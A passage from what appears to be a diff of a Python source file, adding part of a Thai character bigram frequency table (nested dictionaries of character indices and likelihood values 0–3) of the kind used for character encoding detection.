50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 34: { # 'ช' + 5: 1, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 1, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 1, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 2, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 2, # 'ม' + 16: 1, # 'ย' + 2: 1, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 1, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 2, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 2, # 'ั' + 1: 3, # 'า' + 36: 1, # 'ำ' + 23: 3, # 'ิ' + 13: 2, # 'ี' + 40: 0, # 'ึ' + 27: 3, # 'ื' + 32: 3, # 'ุ' + 35: 1, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 1, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 51: { # 'ซ' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 1, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 1, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 1, # 'ส' + 21: 0, # 'ห' + 4: 2, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 1, # 'ั' + 1: 1, # 'า' + 36: 0, # 'ำ' + 23: 1, # 'ิ' + 13: 2, # 'ี' + 40: 3, # 'ึ' + 27: 2, # 'ื' + 32: 1, # 'ุ' + 35: 1, # 'ู' + 11: 1, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 1, # '็' + 6: 1, # '่' + 7: 2, # '้' + 38: 1, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 47: { # 'ญ' + 5: 1, # 'ก' + 30: 1, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 0, # 'ซ' + 47: 3, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 1, # 'บ' + 25: 1, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 1, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 1, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 1, # 'ส' + 21: 2, # 'ห' + 4: 1, # 'อ' + 63: 0, # 'ฯ' + 22: 1, # 'ะ' + 10: 2, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 1, # 'ิ' + 13: 1, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 1, # 'เ' + 28: 1, # 'แ' + 41: 0, # 'โ' + 29: 1, # 'ใ' + 33: 0, # 'ไ' + 50: 1, # 'ๆ' + 37: 0, # '็' + 6: 2, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 58: { # 'ฎ' + 5: 2, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 1, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 1, # 'ิ' + 13: 2, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 57: { # 'ฏ' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 3, # 'ิ' + 13: 1, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 49: { # 'ฐ' + 5: 1, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 2, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 2, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 1, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 1, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 1, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 53: { # 'ฑ' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 2, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 3, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 55: { # 'ฒ' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 1, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 43: { # 'ณ' + 5: 1, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 3, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 3, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 1, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 1, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 1, # 'ส' + 21: 1, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 3, # 'ะ' + 10: 0, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 1, # 'ิ' + 13: 2, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 1, # 'เ' + 28: 1, # 'แ' + 41: 0, # 'โ' + 29: 1, # 'ใ' + 33: 1, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 3, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 20: { # 'ด' + 5: 2, # 'ก' + 30: 2, # 'ข' + 24: 2, # 'ค' + 8: 3, # 'ง' + 26: 2, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 1, # 'ด' + 19: 2, # 'ต' + 44: 1, # 'ถ' + 14: 2, # 'ท' + 48: 0, # 'ธ' + 3: 1, # 'น' + 17: 1, # 'บ' + 25: 1, # 'ป' + 39: 1, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 1, # 'ภ' + 9: 2, # 'ม' + 16: 3, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 2, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 2, # 'ส' + 21: 2, # 'ห' + 4: 1, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 3, # 'ั' + 1: 2, # 'า' + 36: 2, # 'ำ' + 23: 3, # 'ิ' + 13: 3, # 'ี' + 40: 1, # 'ึ' + 27: 2, # 'ื' + 32: 3, # 'ุ' + 35: 2, # 'ู' + 11: 2, # 'เ' + 28: 2, # 'แ' + 41: 1, # 'โ' + 29: 2, # 'ใ' + 33: 2, # 'ไ' + 50: 2, # 'ๆ' + 37: 2, # '็' + 6: 1, # '่' + 7: 3, # '้' + 38: 1, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 19: { # 'ต' + 5: 2, # 'ก' + 30: 1, # 'ข' + 24: 1, # 'ค' + 8: 0, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 1, # 'ด' + 19: 1, # 'ต' + 44: 2, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 2, # 'น' + 17: 1, # 'บ' + 25: 1, # 'ป' + 39: 1, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 2, # 'ภ' + 9: 1, # 'ม' + 16: 1, # 'ย' + 2: 3, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 1, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 3, # 'ส' + 21: 0, # 'ห' + 4: 3, # 'อ' + 63: 1, # 'ฯ' + 22: 2, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 2, # 'ำ' + 23: 3, # 'ิ' + 13: 2, # 'ี' + 40: 1, # 'ึ' + 27: 1, # 'ื' + 32: 3, # 'ุ' + 35: 2, # 'ู' + 11: 1, # 'เ' + 28: 1, # 'แ' + 41: 1, # 'โ' + 29: 1, # 'ใ' + 33: 1, # 'ไ' + 50: 0, # 'ๆ' + 37: 2, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 2, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 44: { # 'ถ' + 5: 1, # 'ก' + 30: 0, # 'ข' + 24: 1, # 'ค' + 8: 0, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 1, # 'ต' + 44: 0, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 1, # 'น' + 17: 2, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 1, # 'ร' + 61: 0, # 'ฤ' + 15: 1, # 'ล' + 12: 1, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 1, # 'ส' + 21: 0, # 'ห' + 4: 1, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 2, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 2, # 'ิ' + 13: 1, # 'ี' + 40: 3, # 'ึ' + 27: 2, # 'ื' + 32: 2, # 'ุ' + 35: 3, # 'ู' + 11: 1, # 'เ' + 28: 1, # 'แ' + 41: 0, # 'โ' + 29: 1, # 'ใ' + 33: 1, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 2, # '่' + 7: 3, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 14: { # 'ท' + 5: 1, # 'ก' + 30: 1, # 'ข' + 24: 3, # 'ค' + 8: 1, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 2, # 'ด' + 19: 1, # 'ต' + 44: 0, # 'ถ' + 14: 1, # 'ท' + 48: 3, # 'ธ' + 3: 3, # 'น' + 17: 2, # 'บ' + 25: 2, # 'ป' + 39: 1, # 'ผ' + 62: 0, # 'ฝ' + 31: 2, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 1, # 'ม' + 16: 3, # 'ย' + 2: 3, # 'ร' + 61: 1, # 'ฤ' + 15: 1, # 'ล' + 12: 2, # 'ว' + 42: 3, # 'ศ' + 46: 1, # 'ษ' + 18: 1, # 'ส' + 21: 0, # 'ห' + 4: 2, # 'อ' + 63: 0, # 'ฯ' + 22: 2, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 3, # 'ำ' + 23: 2, # 'ิ' + 13: 3, # 'ี' + 40: 2, # 'ึ' + 27: 1, # 'ื' + 32: 3, # 'ุ' + 35: 1, # 'ู' + 11: 0, # 'เ' + 28: 1, # 'แ' + 41: 0, # 'โ' + 29: 1, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 1, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 2, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 48: { # 'ธ' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 1, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 1, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 2, # 'า' + 36: 0, # 'ำ' + 23: 3, # 'ิ' + 13: 3, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 2, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 3, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 3: { # 'น' + 5: 3, # 'ก' + 30: 2, # 'ข' + 24: 3, # 'ค' + 8: 1, # 'ง' + 26: 2, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 1, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 1, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 3, # 'ด' + 19: 3, # 'ต' + 44: 2, # 'ถ' + 14: 3, # 'ท' + 48: 3, # 'ธ' + 3: 2, # 'น' + 17: 2, # 'บ' + 25: 2, # 'ป' + 39: 2, # 'ผ' + 62: 0, # 'ฝ' + 31: 2, # 'พ' + 54: 1, # 'ฟ' + 45: 1, # 'ภ' + 9: 2, # 'ม' + 16: 2, # 'ย' + 2: 2, # 'ร' + 61: 1, # 'ฤ' + 15: 2, # 'ล' + 12: 3, # 'ว' + 42: 1, # 'ศ' + 46: 0, # 'ษ' + 18: 2, # 'ส' + 21: 2, # 'ห' + 4: 3, # 'อ' + 63: 1, # 'ฯ' + 22: 2, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 3, # 'ำ' + 23: 3, # 'ิ' + 13: 3, # 'ี' + 40: 3, # 'ึ' + 27: 3, # 'ื' + 32: 3, # 'ุ' + 35: 2, # 'ู' + 11: 3, # 'เ' + 28: 2, # 'แ' + 41: 3, # 'โ' + 29: 3, # 'ใ' + 33: 3, # 'ไ' + 50: 2, # 'ๆ' + 37: 1, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 2, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 17: { # 'บ' + 5: 3, # 'ก' + 30: 2, # 'ข' + 24: 2, # 'ค' + 8: 1, # 'ง' + 26: 1, # 'จ' + 52: 1, # 'ฉ' + 34: 1, # 'ช' + 51: 1, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 1, # 'ด' + 19: 2, # 'ต' + 44: 1, # 'ถ' + 14: 3, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 3, # 'บ' + 25: 2, # 'ป' + 39: 2, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 1, # 'ฟ' + 45: 1, # 'ภ' + 9: 1, # 'ม' + 16: 0, # 'ย' + 2: 3, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 3, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 2, # 'ส' + 21: 2, # 'ห' + 4: 2, # 'อ' + 63: 1, # 'ฯ' + 22: 0, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 2, # 'ำ' + 23: 2, # 'ิ' + 13: 2, # 'ี' + 40: 0, # 'ึ' + 27: 2, # 'ื' + 32: 3, # 'ุ' + 35: 2, # 'ู' + 11: 2, # 'เ' + 28: 2, # 'แ' + 41: 1, # 'โ' + 29: 2, # 'ใ' + 33: 2, # 'ไ' + 50: 0, # 'ๆ' + 37: 1, # '็' + 6: 2, # '่' + 7: 2, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 25: { # 'ป' + 5: 2, # 'ก' + 30: 0, # 'ข' + 24: 1, # 'ค' + 8: 0, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 1, # 'ซ' + 47: 0, # 'ญ' + 58: 1, # 'ฎ' + 57: 3, # 'ฏ' + 49: 1, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 1, # 'ด' + 19: 1, # 'ต' + 44: 1, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 2, # 'น' + 17: 0, # 'บ' + 25: 1, # 'ป' + 39: 1, # 'ผ' + 62: 1, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 1, # 'ม' + 16: 0, # 'ย' + 2: 3, # 'ร' + 61: 0, # 'ฤ' + 15: 3, # 'ล' + 12: 1, # 'ว' + 42: 0, # 'ศ' + 46: 1, # 'ษ' + 18: 2, # 'ส' + 21: 1, # 'ห' + 4: 2, # 'อ' + 63: 0, # 'ฯ' + 22: 1, # 'ะ' + 10: 3, # 'ั' + 1: 1, # 'า' + 36: 0, # 'ำ' + 23: 2, # 'ิ' + 13: 3, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 1, # 'ุ' + 35: 0, # 'ู' + 11: 1, # 'เ' + 28: 2, # 'แ' + 41: 0, # 'โ' + 29: 1, # 'ใ' + 33: 2, # 'ไ' + 50: 0, # 'ๆ' + 37: 3, # '็' + 6: 1, # '่' + 7: 2, # '้' + 38: 1, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 39: { # 'ผ' + 5: 1, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 1, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 2, # 'น' + 